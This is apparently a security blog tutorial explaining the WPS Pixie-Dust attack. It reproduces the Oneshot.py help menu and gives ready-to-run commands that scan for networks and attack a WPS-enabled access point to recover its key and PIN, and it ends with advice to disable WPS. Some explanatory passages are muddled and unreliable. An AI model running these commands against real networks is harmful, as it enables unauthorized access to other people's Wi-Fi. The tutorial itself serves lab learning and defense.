Wireless Vulnerabilities in Practice | WPS Pixie-Dust Attack Explained

We covered one of the most popular wireless vulnerabilities, that is, WPS feature. Most wireless attacks that target this feature focus on guessing the 8-digit WPS PIN by working on finding the two main pre-shared keys that contitute the WPS PIN and this is how Pixie-Dust attack works. We demonstrated how this works in a Linux lab environment dedicated for that purpose.

What is WPS?

The goal of Wi-Fi Protected Setup (WPS), formerly known as Wi-Fi Simple Config, is to establish a secure wireless network within your house.

The protocol, which was developed by Cisco and debuted in 2006, aims to make it simple for home users to set up Wi-Fi Protected Access and to add new devices to an existing network without having to enter complicated passphrases.

These users may be intimidated by the available security options or have little experience with wireless security. Devices from Brother, Canon, and HP all use it for their printers. WPS is a wireless protocol that allows you to join specific Wi-Fi devices, like security cameras and printers, to the Wi-Fi network without needing to provide a password. Additionally, some devices connect to the wireless network using a different method known as WPS Pin.

The owner of Wi-Fi credentials can prevent other users from connecting to their home network by utilizing Wi-Fi Protected Setup. Wi-Fi use is another option available to the owner. By pushing the WPS button on the home router, this can be adjusted.

What is Pixie-Dust Attack against WPS?

The way a Pixie-Dust attack operates is by bruteforcing the WPS protocol key. WPS was designed to make router access simpler, and it succeeded in that regard — for hackers.

Eight digits, or two Pre-Shared Keys, or PSKs, make up a WPS pin. The pin is half of each PSK. You must comprehend how the queries to the AP operate in order to comprehend how a Pixie Dust attack operates:

1. Computer sends - EAPOL Start        

2. Router sends - EAP-Request for the Identity3. Computer sends - Responds with the Identity4. Router sends - EAP request5. Computer sends - EAP response        

Now, two more nonces — which are meant to be generated randomly — are required in order to successfully bruteforce the previously specified PSKs. The most crucial aspect is that we can bruteforce this key even on a sluggish system because the random numbers are actually derivatives of the hashes or are just zeroes! If the router’s implementation is flawed, which it usually is, it will still function, and you should be able to locate a list of susceptible routers online.

Wireless Attack Tools Against WPS

• Aircrack-ng
• Oneshot.py
• Pixiewps

Attacking WPS With Oneshot.py

OneShot performs Pixie Dust attack without having to switch to monitor mode.

We can invoke the help menu first

oneshot.py <arguments>
 Required arguments:
     -i, --interface=<wlan0>  : Name of the interface to use        

 Optional arguments:
     -b, --bssid=<mac>        : BSSID of the target AP
     -p, --pin=<wps pin>      : Use the specified pin (arbitrary string or 4/8 digit pin)
     -K, --pixie-dust         : Run Pixie Dust attack
     -B, --bruteforce         : Run online bruteforce attack
     --push-button-connect    : Run WPS push button connection Advanced arguments:
     -d, --delay=<n>          : Set the delay between pin attempts [0]
     -w, --write              : Write AP credentials to the file on success
     -F, --pixie-force        : Run Pixiewps with --force option (bruteforce full range)
     -X, --show-pixie-cmd     : Alway print Pixiewps command
     --vuln-list=<filename>   : Use custom file with vulnerable devices list ['vulnwsc.txt']
     --iface-down             : Down network interface when the work is finished
     -l, --loop               : Run in a loop
     -r, --reverse-scan       : Reverse order of networks in the list of networks. Useful on small displays
     --mtk-wifi               : Activate MediaTek Wi-Fi interface driver on startup and deactivate it on exit
                                (for internal Wi-Fi adapters implemented in MediaTek SoCs). Turn off Wi-Fi in the system settings before using this.
     -v, --verbose            : Verbose output        

Next we will want to scan the wireless network interface for wireless networks

iw dev wlan0 scan        

The output of the above command will give us details about the available wireless networks. We choose the network with WPS enabled and start the attack

python3 oneshot.py -i wlan0 -b 02:00:30:00:01:30 -K        

As explained in the video below, the above command if successful will yield in revealing the wireless network security key and the WPS PIN.

Preventing WPS Attacks

To prevent wireless attacks that target WPS feature, simply turn it off from the router admin panel or by pushing the WPS button back to its OFF state.

Check out the video below for detailed explanation.